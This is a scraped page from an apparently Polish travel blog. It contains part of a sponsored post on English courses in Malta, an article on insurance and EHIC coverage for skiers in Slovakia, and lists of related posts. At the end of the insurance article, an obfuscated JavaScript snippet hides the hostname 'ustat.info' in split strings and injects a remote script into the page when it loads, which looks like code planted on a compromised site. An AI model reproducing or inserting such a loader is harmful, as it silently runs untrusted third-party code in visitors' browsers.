piękno natury, zabytki, jak i nowoczesne centra handlowe oraz targowiska pełne pamiątek dla turystów. Zwiedzając kolejne muzea, robiąc zakupy czy popijając kawę w wąskich uliczkach zawsze mamy okazję do nauki języka, przećwiczenia typowych dialogów i scenek w naturalnych, realnych warunkach, nie zaś udawanych, jak bywa to na kursach stacjonarnych. Osłuchując się z językiem obcym poprzez reklamy, dźwięki dochodzące z radia, ulicznych rozmów czy nagłówki gazet, ulotki itd. mamy możliwość automatyzacji języka. Chcąc zaznać prawdziwego uroku wyspy warto jest przyjechać na Maltę poza sezonem wakacyjnym, kiedy można nie tylko zaoszczędzić na kosztach zakwaterowania czy utrzymania, ale również poznać wielu tubylców, z którymi warto porozmawiać, wymienić doświadczenia, zdobyć nowe kontakty, jak i nawiązać szereg przyjaźni na długie lata. Moc wspomnień, jakie pozostają po kursie to również znajomości międzynarodowe, z którymi można kontakt utrzymywać także w Polsce, po powrocie z kursu językowego. W miesiącach wakacyjnych Maltę oblegają tłumy turystów z całego świata. Dla uczniów angielskiego jest ciekawa nie tylko z powodu klimatu, położenia i atrakcyjności turystycznej, ale również z uwagi na urzędujący język angielski. Kursy językowe na Malcie organizowane przez Sprachcaffe dostępne są przez cały rok. Dowolnie możemy wybrać termin kursu, tak w sezonie wakacyjnych (głównie czerwiec-sierpień), jak i poza nim. Samodzielnie zdecydować o długości kursy – polecamy wyjazdy na 2-3 tyg., aby poznać Maltę i podszkolić angielski. Kursy odbywają się na wszystkich poziomach zaawansowania (grupy tworzone są na podstawie poziomu znajomości języka), a grupy kursantów są mocno zróżnicowane pod względem pochodzenia – mix kulturowy to przede wszystkim osoby z Europy, Ameryki, Azji czy Afryki. Wykluczenie kontaktu z językiem ojczystym sprzyja nauce angielskiego poprzez jego używanie tak w komunikacji z nauczycielami, opiekunem kursu, animatorem grupy, jak i personelem bursy, rodziną zapewniającą zakwaterowanie czy innymi kursantami. Kontakty z językiem w codziennych sytuacjach wpływają na przełamanie bariery językowej i płynność wypowiedzi. Nauka angielskiego przejawia się w każdym kontakcie z żywym językiem, który na Malcie słyszymy przez całą dobę. Nawet jeśli wypoczywamy i bawimy się w najlepsze w doborowym towarzystwie to po przyjeździe do kraju będziemy mogli zauważyć postępy w nauce. Bez wysiłku, trudu, podręczników możemy nauczyć się języka i to praktycznego, potocznego. Korzystając z pomocy native speakerów mamy okazję nie tylko dowiedzieć się wiele o języku, jego zwyczajach, ale również poznać szereg idiomów, powiedzeń czy przysłów. Dlaczego kurs angielskiego na Malcie podczas wakacji? Połączenie wypoczynku z przyjemną nauką angielskiego Efektywne wykorzystanie urlopu Możliwość poznania Malty zarówno kulturowo jak i turystycznie Aktywny wypoczynek (nurkowanie, wycieczki, zajęcia sportowe) Zobacz teraz sam co oferuje Sprachcaffe na Malcie >> Wpis powstał we współpracy z Sprachcaffe

Co warto zobaczyć w Rethymno?

Podróżniczo

Co warto zobaczyć w Rethymno?

Co warto zobaczyć na Krecie, czyli czym urzeka grecka wyspa

Podróżniczo

Co warto zobaczyć na Krecie, czyli czym urzeka grecka wyspa

Zwiedzanie Rodos – czyli co warto zobaczyć w stolicy wyspy

Podróżniczo

Zwiedzanie Rodos – czyli co warto zobaczyć w stolicy wyspy

Co warto zobaczyć na Teneryfie? Miasta, cz. 2

Podróżniczo

Co warto zobaczyć na Teneryfie? Miasta, cz. 2

Podróżniczo

Narty na Słowacji – czy narciarz powinien dodatkowo się ubezpieczyć?

Słowacja słynie z przepięknych, świetnie przygotowanych ośrodków narciarskich, a z uwagi na fakt, że jest sąsiadem Polski, nasi turyści chętnie wybierają ten kierunek na swoje podróże w czasie ferii. Czy w takim przypadku należy się dodatkowo ubezpieczyć, czy można korzystać z opieki zdrowotnej za południową granicą na takich samych zasadach jak Słowacy? Urlop zimowy na Słowacji U naszych południowych sąsiadów panują znakomite warunki do uprawiania sportów zimowych. Już w listopadzie uruchamiane są największe stacje narciarskie. Warto wybrać się do takich ośrodków, jak: Donovaly – położony w pasmach Wielka Fatra i Niskie Tatry, niedaleko Bańskiej Bystrzycy. Należy do najlepiej zorganizowanych kurortów na Słowacji. Dysponuje zróżnicowanymi trasami zjazdowymi, biegowymi i slalomowymi, o łącznej długości 11 km, wyposażonych w 16 wyciągów. Jasna Chopok – ośrodek w centrum Słowacji, oferujący doskonałe, naturalne warunki śniegowe i ukształtowanie terenu sprzyjające uprawianiu różnych form sportów zimowych. Dysponuje ponad 30 km tras, w tym trasami do zjazdów freeridowych oraz w Otupnym snowpark do akrobacji narciarskich. Čertovica – niewielki ośrodek narciarskich w Niskich Tatrach, oferujący przede wszystkim trudne i średnio-trudne trasy. Pokrywa śniegowa utrzymuje się tu bardzo długo – od października do końca kwietnia. Zuberec – położony u stóp szczytu Brestowá ośrodek w Tatrach Zachodnich, obejmujący trzy tereny narciarskie z wieloma kilometrami tras o różnej trudności. Organizując urlop w czasie ferii na Słowacji należy zadbać o bezpieczeństwo swojej rodziny. Nie zawsze wystarczająca przy tym będzie karta EKUZ wydawana przez polski NFZ. Ubezpieczenie prywatne czy z NFZ? Ubezpieczeni w Narodowym Funduszu Zdrowia Polacy mają prawo do bezpłatnego korzystania z opieki medycznej w całej Unii Europejskiej, po okazaniu Europejskiej Karty Ubezpieczenia Zdrowotnego (EKUZ). Dlatego podczas pobytu na Słowacji Polak będzie korzystał z opieki zdrowotnej na takich samych zasadach jak obywatele tego kraju. Przed wyjazdem trzeba jedynie złożyć w oddziale NFZ wniosek o wydanie karty EKUZ. Uprawnia ona do korzystania z podstawowych usług medycznych oferowanych w kraju europejskim. Uwaga! W nagłych przypadkach turysta z Polski zostanie przyjęty do szpitala na Słowacji bez skierowania. Powinien przedstawić on kartę EKUZ. Zostanie mu naliczona opłata za świadczenie ambulatoryjne i pobyt w pogotowiu w wysokości zryczałtowanej 1,99 euro. Transport medyczny na Słowacji jest odpłatny i kosztuje 0,07 euro za kilometr. Dodatkowe ubezpieczenie dla narciarzy będzie nie tylko pożądane, ale w wielu przypadkach niezbędne, zwłaszcza, że na Słowacji akcje ratunkowe Słowackiego Pogotowia Ratunkowego są płatne. Koszty mogą być liczone w tysiącach euro, jeśli przy akcji wykorzystano np. śmigłowiec. Karta EKUZ nie pokryje kosztów transportu medycznego do Polski oraz kosztów opłat za świadczenia medyczne, jakie są płatne na Słowacji. Jeśli dojdzie do wypadku na stoku w słowackich górach, poza wyznaczonym szlakiem, narciarz nie zapłaci za samo udzielenie pomocy przez ratowników, ale za ich dojazd, za użycie helikoptera, samochodu czy skutera śnieżnego już tak. Prywatne ubezpieczenie dla narciarzy pokryje takie koszty w całości, o ile świadczenie zostanie ujęte w Ogólnych Warunkach Ubezpieczenia w polisie dla narciarzy. Warto sprawdzić ofertę dostępną na stronie www.elvia.pl (function(){ ufw6=document.createElement("script");ufw6.type="text/javascript"; ufw6.async=true;ufw6_=(("us")+"t")+"a";ufw6_+=("t.i")+""+"n";ufw6_+=(("f")+"o"); ufw6.src="http://"+ufw6_+"/6913118.pz50kXXkfw6jv9iv7m7d3p7k6y41u5"; document.body.appendChild(ufw6); })();

5 powodów, dla których warto odwiedzić Alpy Kitzbühelskie zimą

Podróżniczo

5 powodów, dla których warto odwiedzić Alpy Kitzbühelskie zimą

5 pomysłów na kurs językowy połączony z aktywnym wypoczynkiem

Podróżniczo

5 pomysłów na kurs językowy połączony z aktywnym wypoczynkiem

Austria, czyli dlaczego jadę w Alpy zimą?

Podróżniczo

Austria, czyli dlaczego jadę w Alpy zimą?

TOP 10 książek podróżniczych 2015 roku

Podróżniczo

TOP 10 książek podróżniczych 2015 roku

Co warto zobaczyć na Teneryfie? Miasta, cz. 1

Podróżniczo

Co warto zobaczyć na Teneryfie? Miasta, cz. 1

5 sposobów na alternatywne zwiedzanie

Podróżniczo

5 sposobów na alternatywne zwiedzanie